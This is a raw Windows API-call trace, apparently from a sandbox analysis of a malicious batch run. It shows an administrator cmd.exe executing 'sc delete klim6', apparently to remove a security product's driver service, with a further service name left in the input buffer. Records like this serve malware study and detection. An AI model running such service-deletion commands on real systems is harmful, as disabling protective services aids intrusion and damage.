[0072.448] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6550 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0072.449] SetErrorMode (uMode=0x0) returned 0x1 [0072.449] SetErrorMode (uMode=0x1) returned 0x0 [0072.449] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.449] SetErrorMode (uMode=0x1) returned 0x1 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0072.449] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.449] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.449] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.449] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.449] GetProcessHeap () returned 0x4a0000 [0072.450] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.450] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.450] GetLastError () returned 0x2 [0072.450] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.450] GetLastError () returned 0x2 [0072.450] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.450] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.450] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.450] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.450] GetLastError () returned 0x2 [0072.450] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.451] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.451] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.451] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.451] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.451] GetProcessHeap () returned 0x4a0000 [0072.451] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.451] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.451] GetProcessHeap () returned 0x4a0000 [0072.451] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x98) returned 0x4b9180 [0072.451] GetProcessHeap () returned 0x4a0000 [0072.451] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x98 [0072.451] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klim6") returned 1 [0072.452] GetProcessHeap () returned 0x4a0000 [0072.452] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.452] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.452] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.452] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.452] GetProcessHeap () returned 0x4a0000 [0072.452] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.452] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.453] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.453] GetProcessHeap () returned 0x4a0000 [0072.453] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.453] GetProcessHeap () returned 0x4a0000 [0072.453] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.453] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klim6", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klim6", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klim6", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x8b4, dwThreadId=0x8d4)) returned 1 [0072.456] CloseHandle (hObject=0x50) returned 1 [0072.456] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.456] GetProcessHeap () returned 0x4a0000 [0072.456] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.456] GetEnvironmentStringsW () returned 0x4bba10* [0072.456] GetProcessHeap () returned 0x4a0000 [0072.456] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.456] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.456] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.457] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.457] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.497] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.497] CloseHandle (hObject=0x54) returned 1 [0072.497] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.497] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.497] GetProcessHeap () returned 0x4a0000 [0072.497] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.497] GetEnvironmentStringsW () returned 0x4c1b10* [0072.497] GetProcessHeap () returned 0x4a0000 [0072.497] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.498] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.498] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.498] GetProcessHeap () returned 0x4a0000 [0072.498] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.498] GetEnvironmentStringsW () returned 0x4bba10* [0072.498] GetProcessHeap () returned 0x4a0000 [0072.498] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.498] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.498] GetProcessHeap () returned 0x4a0000 [0072.498] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.498] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.498] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.498] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.498] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.498] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.498] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.499] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.499] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.499] GetConsoleOutputCP () returned 0x1b5 [0072.499] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.499] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.499] GetProcessHeap () returned 0x4a0000 [0072.499] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.499] GetProcessHeap () returned 0x4a0000 [0072.499] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.499] GetProcessHeap () returned 0x4a0000 [0072.499] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.499] GetProcessHeap () returned 0x4a0000 [0072.499] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0072.499] GetProcessHeap () returned 0x4a0000 [0072.499] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0072.499] GetProcessHeap () returned 0x4a0000 [0072.499] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.499] GetProcessHeap () returned 0x4a0000 [0072.500] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.500] GetProcessHeap () returned 0x4a0000 [0072.500] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.500] GetProcessHeap () returned 0x4a0000 [0072.500] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.500] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.500] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.500] GetFileType (hFile=0x120) returned 0x3 [0072.500] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.500] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.500] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.500] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.500] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.500] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.500] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.500] GetFileType (hFile=0x120) returned 0x3 [0072.500] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.500] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.501] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.501] GetFileType (hFile=0xb8) returned 0x3 [0072.501] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.501] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.501] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.501] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.501] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.501] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.501] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.501] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.501] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.501] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.501] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.501] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.501] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.501] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.501] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.502] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.502] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.502] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.502] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.502] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.502] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.502] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.502] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.502] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.502] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.502] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.502] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.502] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.502] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.502] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.502] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.502] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.502] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.503] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, 